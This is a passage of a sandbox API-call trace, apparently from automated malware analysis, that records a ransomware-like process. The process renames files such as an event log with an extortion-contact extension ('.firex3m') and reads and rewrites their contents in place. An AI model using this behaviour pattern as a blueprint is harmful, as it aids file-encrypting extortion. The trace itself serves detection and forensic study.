(dwMilliseconds=0x1) [0076.922] Sleep (dwMilliseconds=0x1) [0076.983] Sleep (dwMilliseconds=0x1) [0077.070] Sleep (dwMilliseconds=0x1) [0077.153] Sleep (dwMilliseconds=0x1) [0077.224] Sleep (dwMilliseconds=0x1) [0077.287] Sleep (dwMilliseconds=0x1) [0077.361] Sleep (dwMilliseconds=0x1) [0077.410] Sleep (dwMilliseconds=0x1) [0077.522] Sleep (dwMilliseconds=0x1) [0077.595] Sleep (dwMilliseconds=0x1) [0077.650] Sleep (dwMilliseconds=0x1) [0077.687] Sleep (dwMilliseconds=0x1) [0077.738] Sleep (dwMilliseconds=0x1) [0077.780] Sleep (dwMilliseconds=0x1) [0077.834] Sleep (dwMilliseconds=0x1) [0077.855] Sleep (dwMilliseconds=0x1) [0077.907] Sleep (dwMilliseconds=0x1) [0077.963] Sleep (dwMilliseconds=0x1) [0077.977] Sleep (dwMilliseconds=0x1) [0078.000] Sleep (dwMilliseconds=0x1) [0078.086] Sleep (dwMilliseconds=0x1) [0078.117] Sleep (dwMilliseconds=0x1) [0078.134] Sleep (dwMilliseconds=0x1) [0078.192] Sleep (dwMilliseconds=0x1) [0078.224] Sleep (dwMilliseconds=0x1) [0078.237] Sleep (dwMilliseconds=0x1) [0078.253] Sleep (dwMilliseconds=0x1) [0078.271] Sleep (dwMilliseconds=0x1) [0078.286] Sleep (dwMilliseconds=0x1) [0078.313] Sleep (dwMilliseconds=0x1) [0078.360] Sleep (dwMilliseconds=0x1) [0078.378] Sleep (dwMilliseconds=0x1) [0078.513] Sleep (dwMilliseconds=0x1) [0078.535] Sleep (dwMilliseconds=0x1) [0078.558] Sleep (dwMilliseconds=0x1) [0078.572] Sleep (dwMilliseconds=0x1) [0078.607] Sleep (dwMilliseconds=0x1) [0078.629] Sleep (dwMilliseconds=0x1) [0078.643] Sleep (dwMilliseconds=0x1) [0078.662] Sleep (dwMilliseconds=0x1) [0078.673] Sleep (dwMilliseconds=0x1) [0078.707] Sleep (dwMilliseconds=0x1) [0078.722] Sleep (dwMilliseconds=0x1) [0078.737] Sleep (dwMilliseconds=0x1) [0078.755] Sleep (dwMilliseconds=0x1) [0078.769] Sleep (dwMilliseconds=0x1) [0078.787] Sleep (dwMilliseconds=0x1) [0078.837] Sleep (dwMilliseconds=0x1) [0078.887] Sleep (dwMilliseconds=0x1) [0078.931] Sleep (dwMilliseconds=0x1) [0078.941] Sleep (dwMilliseconds=0x1) [0078.964] Sleep (dwMilliseconds=0x1) [0078.974] Sleep (dwMilliseconds=0x1) [0079.007] Sleep (dwMilliseconds=0x1) [0079.026] Sleep (dwMilliseconds=0x1) [0079.036] Sleep (dwMilliseconds=0x1) [0079.047] Sleep (dwMilliseconds=0x1) [0079.085] Sleep (dwMilliseconds=0x1) [0079.095] Sleep (dwMilliseconds=0x1) [0079.119] Sleep (dwMilliseconds=0x1) [0079.126] Sleep (dwMilliseconds=0x1) [0079.162] Sleep (dwMilliseconds=0x1) [0079.222] Sleep (dwMilliseconds=0x1) [0079.253] Sleep (dwMilliseconds=0x1) [0079.267] Sleep (dwMilliseconds=0x1) [0079.289] Sleep (dwMilliseconds=0x1) [0079.298] Sleep (dwMilliseconds=0x1) [0079.318] Sleep (dwMilliseconds=0x1) [0079.327] Sleep (dwMilliseconds=0x1) [0079.350] Sleep (dwMilliseconds=0x1) [0079.359] Sleep (dwMilliseconds=0x1) [0079.390] Sleep (dwMilliseconds=0x1) [0079.416] Sleep (dwMilliseconds=0x1) [0079.424] Sleep (dwMilliseconds=0x1) [0079.446] Sleep (dwMilliseconds=0x1) [0079.517] Sleep (dwMilliseconds=0x1) [0079.542] Sleep (dwMilliseconds=0x1) [0079.547] Sleep (dwMilliseconds=0x1) [0079.600] Sleep (dwMilliseconds=0x1) [0079.611] Sleep (dwMilliseconds=0x1) [0079.628] Sleep (dwMilliseconds=0x1) [0079.643] Sleep (dwMilliseconds=0x1) [0079.660] Sleep (dwMilliseconds=0x1) [0079.676] Sleep (dwMilliseconds=0x1) [0079.695] Sleep (dwMilliseconds=0x1) [0079.730] Sleep (dwMilliseconds=0x1) [0079.744] Sleep (dwMilliseconds=0x1) [0079.800] Sleep (dwMilliseconds=0x1) [0079.816] Sleep (dwMilliseconds=0x1) [0079.830] Sleep (dwMilliseconds=0x1) [0079.891] Sleep (dwMilliseconds=0x1) [0079.915] Sleep (dwMilliseconds=0x1) [0079.933] Sleep (dwMilliseconds=0x1) [0079.938] Sleep (dwMilliseconds=0x1) [0079.986] Sleep (dwMilliseconds=0x1) [0080.048] Sleep (dwMilliseconds=0x1) [0080.070] Sleep (dwMilliseconds=0x1) [0080.084] Sleep (dwMilliseconds=0x1) [0080.100] Sleep (dwMilliseconds=0x1) [0080.136] Sleep (dwMilliseconds=0x1) [0080.160] Sleep (dwMilliseconds=0x1) [0080.173] Sleep (dwMilliseconds=0x1) [0080.238] Sleep (dwMilliseconds=0x1) [0080.260] Sleep (dwMilliseconds=0x1) [0080.269] Sleep (dwMilliseconds=0x1) [0080.285] Sleep (dwMilliseconds=0x1) [0080.301] Sleep (dwMilliseconds=0x1) [0080.316] Sleep (dwMilliseconds=0x1) [0080.343] Sleep (dwMilliseconds=0x1) [0080.361] Sleep (dwMilliseconds=0x1) [0080.384] Sleep (dwMilliseconds=0x1) [0080.392] Sleep (dwMilliseconds=0x1) [0080.410] Sleep (dwMilliseconds=0x1) [0080.426] Sleep (dwMilliseconds=0x1) [0080.441] Sleep (dwMilliseconds=0x1) [0080.503] Sleep (dwMilliseconds=0x1) [0080.526] Sleep (dwMilliseconds=0x1) [0080.544] Sleep (dwMilliseconds=0x1) [0080.567] Sleep (dwMilliseconds=0x1) [0080.582] Sleep (dwMilliseconds=0x1) [0080.605] Sleep (dwMilliseconds=0x1) [0080.614] Sleep (dwMilliseconds=0x1) [0080.660] Sleep (dwMilliseconds=0x1) [0080.673] Sleep (dwMilliseconds=0x1) [0080.704] Sleep (dwMilliseconds=0x1) [0080.722] Sleep (dwMilliseconds=0x1) [0080.765] Sleep (dwMilliseconds=0x1) [0080.787] Sleep (dwMilliseconds=0x1) [0080.805] Sleep (dwMilliseconds=0x1) [0080.819] Sleep (dwMilliseconds=0x1) [0080.836] Sleep (dwMilliseconds=0x1) [0080.847] Sleep (dwMilliseconds=0x1) [0080.888] Sleep (dwMilliseconds=0x1) [0080.918] Sleep (dwMilliseconds=0x1) [0080.922] Sleep (dwMilliseconds=0x1) [0080.942] Sleep (dwMilliseconds=0x1) [0080.957] Sleep (dwMilliseconds=0x1) [0080.978] Sleep (dwMilliseconds=0x1) [0080.989] Sleep (dwMilliseconds=0x1) [0081.005] Sleep (dwMilliseconds=0x1) [0081.017] Sleep (dwMilliseconds=0x1) [0081.037] Sleep (dwMilliseconds=0x1) [0081.048] Sleep (dwMilliseconds=0x1) [0081.287] Sleep (dwMilliseconds=0x1) [0081.438] Sleep (dwMilliseconds=0x1) [0081.526] Sleep (dwMilliseconds=0x1) [0081.543] Sleep (dwMilliseconds=0x1) [0081.557] Sleep (dwMilliseconds=0x1) [0081.566] Sleep (dwMilliseconds=0x1) [0081.580] Sleep (dwMilliseconds=0x1) [0081.601] Sleep (dwMilliseconds=0x1) [0081.611] Sleep (dwMilliseconds=0x1) [0081.630] Sleep (dwMilliseconds=0x1) [0081.663] Sleep (dwMilliseconds=0x1) [0081.684] Sleep (dwMilliseconds=0x1) [0081.712] Sleep (dwMilliseconds=0x1) [0081.755] Sleep (dwMilliseconds=0x1) [0081.778] Sleep (dwMilliseconds=0x1) [0081.835] Sleep (dwMilliseconds=0x1) [0081.846] Sleep (dwMilliseconds=0x1) [0081.888] Sleep (dwMilliseconds=0x1) [0081.912] Sleep (dwMilliseconds=0x1) [0081.924] Sleep (dwMilliseconds=0x1) [0081.944] Sleep (dwMilliseconds=0x1) [0081.965] Sleep (dwMilliseconds=0x1) [0081.973] Sleep (dwMilliseconds=0x1) [0081.984] Sleep (dwMilliseconds=0x1) [0082.005] Sleep (dwMilliseconds=0x1) [0082.033] Sleep (dwMilliseconds=0x1) [0082.053] Sleep (dwMilliseconds=0x1) [0082.066] Sleep (dwMilliseconds=0x1) [0082.115] Sleep (dwMilliseconds=0x1) [0082.130] Sleep (dwMilliseconds=0x1) [0082.154] Sleep (dwMilliseconds=0x1) [0082.197] Sleep (dwMilliseconds=0x1) [0082.213] Sleep (dwMilliseconds=0x1) [0082.234] Sleep (dwMilliseconds=0x1) [0082.257] Sleep (dwMilliseconds=0x1) [0082.278] Sleep (dwMilliseconds=0x1) [0082.292] Sleep (dwMilliseconds=0x1) [0082.311] Sleep (dwMilliseconds=0x1) [0082.369] Sleep (dwMilliseconds=0x1) [0082.420] Sleep (dwMilliseconds=0x1) [0082.539] Sleep (dwMilliseconds=0x1) [0082.591] Sleep (dwMilliseconds=0x1) [0082.634] Sleep (dwMilliseconds=0x1) [0082.686] Sleep (dwMilliseconds=0x1) [0082.726] Sleep (dwMilliseconds=0x1) [0082.778] Sleep (dwMilliseconds=0x1) [0082.820] Sleep (dwMilliseconds=0x1) [0082.872] Sleep (dwMilliseconds=0x1) [0082.914] Sleep (dwMilliseconds=0x1) [0082.970] Sleep (dwMilliseconds=0x1) [0083.014] Sleep (dwMilliseconds=0x1) [0083.057] Sleep (dwMilliseconds=0x1) [0083.101] Sleep (dwMilliseconds=0x1) [0083.153] Sleep (dwMilliseconds=0x1) [0083.198] Sleep (dwMilliseconds=0x1) [0083.244] Sleep (dwMilliseconds=0x1) [0083.291] Sleep (dwMilliseconds=0x1) [0083.339] Sleep (dwMilliseconds=0x1) [0083.383] Sleep (dwMilliseconds=0x1) [0083.438] Sleep (dwMilliseconds=0x1) [0083.701] Sleep (dwMilliseconds=0x1) [0083.753] Sleep (dwMilliseconds=0x1) [0083.800] Sleep (dwMilliseconds=0x1) [0083.915] Sleep (dwMilliseconds=0x1) [0084.010] Sleep (dwMilliseconds=0x1) [0084.095] Sleep (dwMilliseconds=0x1) [0084.200] Sleep (dwMilliseconds=0x1) [0084.345] Sleep (dwMilliseconds=0x1) [0084.736] Sleep (dwMilliseconds=0x1) [0084.813] Sleep (dwMilliseconds=0x1) [0084.875] Sleep (dwMilliseconds=0x1) [0084.963] Sleep (dwMilliseconds=0x1) [0085.050] Sleep (dwMilliseconds=0x1) [0085.121] Sleep (dwMilliseconds=0x1) [0085.183] Sleep (dwMilliseconds=0x1) [0085.347] Sleep (dwMilliseconds=0x1) [0085.389] Sleep (dwMilliseconds=0x1) [0085.737] Sleep (dwMilliseconds=0x1) [0085.830] Sleep (dwMilliseconds=0x1) [0085.965] Sleep (dwMilliseconds=0x1) [0086.082] Sleep (dwMilliseconds=0x1) [0086.187] Sleep (dwMilliseconds=0x1) [0086.236] Sleep (dwMilliseconds=0x1) [0086.294] Sleep (dwMilliseconds=0x1) [0086.351] Sleep (dwMilliseconds=0x1) [0086.588] Sleep (dwMilliseconds=0x1) [0086.897] Sleep (dwMilliseconds=0x1) [0087.092] Sleep (dwMilliseconds=0x1) [0087.471] Sleep (dwMilliseconds=0x1) [0088.469] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", len=0x2c | out: pbstr=0x4d3ff7c*="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 1 [0088.469] GetProcessHeap () returned 0x630000 [0088.469] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x24) returned 0x699948 [0088.469] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0088.470] CloseHandle (hObject=0x68c) returned 1 [0088.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.470] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.471] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4ec0 [0088.471] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0088.471] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0088.471] GetProcessHeap () returned 0x630000 [0088.471] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f78d90 [0088.472] GetProcessHeap () returned 0x630000 [0088.472] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f841c0 [0088.472] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.472] ReadFile (in: hFile=0x68c, lpBuffer=0x6f78d90, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f78d90*, lpNumberOfBytesRead=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0094.137] GetProcessHeap () returned 0x630000 [0094.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8ca8 [0094.138] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.138] WriteFile (in: hFile=0x68c, lpBuffer=0x6f841c0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f841c0*, lpNumberOfBytesWritten=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0094.138] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.138] WriteFile (in: hFile=0x68c, lpBuffer=0x6f8f5bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8f5bf*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0094.138] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.138] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0094.139] CloseHandle (hObject=0x68c) returned 1 [0094.141] GetProcessHeap () returned 0x630000 [0094.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f841c0 | out: hHeap=0x630000) returned 1 [0094.141] GetProcessHeap () returned 0x630000 [0094.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f78d90 | out: hHeap=0x630000) returned 1 [0094.141] GetProcessHeap () returned 0x630000 [0094.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ca8 | out: hHeap=0x630000) returned 1 [0094.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0094.141] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfe0fd47b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x10aa6, dwReserved0=0xbfc7496, dwReserved1=0x6f78d88, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0094.141] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0094.141] Sleep (dwMilliseconds=0x1) [0096.154] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Boot\\BCD", len=0xb | out: pbstr=0x4d3ff7c*="C:\\Boot\\BCD") returned 1 [0096.154] GetProcessHeap () returned 0x630000 [0096.154] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699af8, Size=0x20) returned 0x6e9198 [0096.154] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0096.154] Sleep (dwMilliseconds=0x1) [0098.109] Sleep (dwMilliseconds=0x1) [0099.634] Sleep (dwMilliseconds=0x1) [0100.938] Sleep (dwMilliseconds=0x1) [0101.616] Sleep (dwMilliseconds=0x1) [0102.216] Sleep (dwMilliseconds=0x1) [0102.431] Sleep (dwMilliseconds=0x1) [0102.616] Sleep (dwMilliseconds=0x1) [0102.885] Sleep (dwMilliseconds=0x1) [0102.999] Sleep (dwMilliseconds=0x1) [0103.185] Sleep (dwMilliseconds=0x1) [0103.305] Sleep (dwMilliseconds=0x1) [0103.549] Sleep (dwMilliseconds=0x1) [0104.683] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx", len=0x29 | out: pbstr=0x4d3ff7c*="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 1 [0104.688] GetProcessHeap () returned 0x630000 [0104.688] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6380, Size=0x28) returned 0x6998e8 [0104.688] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0104.689] CloseHandle (hObject=0x6e8) returned 1 [0104.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.689] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.689] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI5A59~1.FIR")) returned 0x6d5540 [0104.690] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0104.690] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0104.690] GetProcessHeap () returned 0x630000 [0104.690] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7121aa8 [0104.690] GetProcessHeap () returned 0x630000 [0104.690] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x712ced8 [0104.691] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.691] ReadFile (in: hFile=0x6e8, lpBuffer=0x7121aa8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7121aa8*, lpNumberOfBytesRead=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.702] GetProcessHeap () returned 0x630000 [0112.702] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0112.703] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.703] WriteFile (in: hFile=0x6e8, lpBuffer=0x712ced8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712ced8*, lpNumberOfBytesWritten=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.703] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.703] WriteFile (in: hFile=0x6e8, lpBuffer=0x71382d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71382d7*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.703] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.703] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.703] CloseHandle (hObject=0x6e8) returned 1 [0112.705] GetProcessHeap () returned 0x630000 [0112.705] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712ced8 | out: hHeap=0x630000) returned 1 [0112.705] GetProcessHeap () returned 0x630000 [0112.705] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7121aa8 | out: hHeap=0x630000) returned 1 [0112.705] GetProcessHeap () returned 0x630000 [0112.705] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0112.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.705] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x91f6bca, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xbfc7496, dwReserved1=0x7121aa0, cFileName="Microsoft-Windows-MUI%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI5A59~1.FIR")) returned 0x6d5500 [0112.706] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0112.706] Sleep (dwMilliseconds=0x1) [0113.707] Sleep (dwMilliseconds=0x1) [0114.302] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml", len=0x3d | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 1 [0114.302] GetProcessHeap () returned 0x630000 [0114.302] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eef48, Size=0x48) returned 0x64a3b8 [0114.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.303] Sleep (dwMilliseconds=0x1) [0114.882] Sleep (dwMilliseconds=0x1) [0115.141] Sleep (dwMilliseconds=0x1) [0115.442] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm", len=0x4b | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 1 [0115.442] GetProcessHeap () returned 0x630000 [0115.443] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699b58, Size=0x20) returned 0x6e9120 [0115.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.444] Sleep (dwMilliseconds=0x1) [0115.452] Sleep (dwMilliseconds=0x1) [0115.498] Sleep (dwMilliseconds=0x1) [0115.521] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe", len=0x4a | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 1 [0115.521] GetProcessHeap () returned 0x630000 [0115.521] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 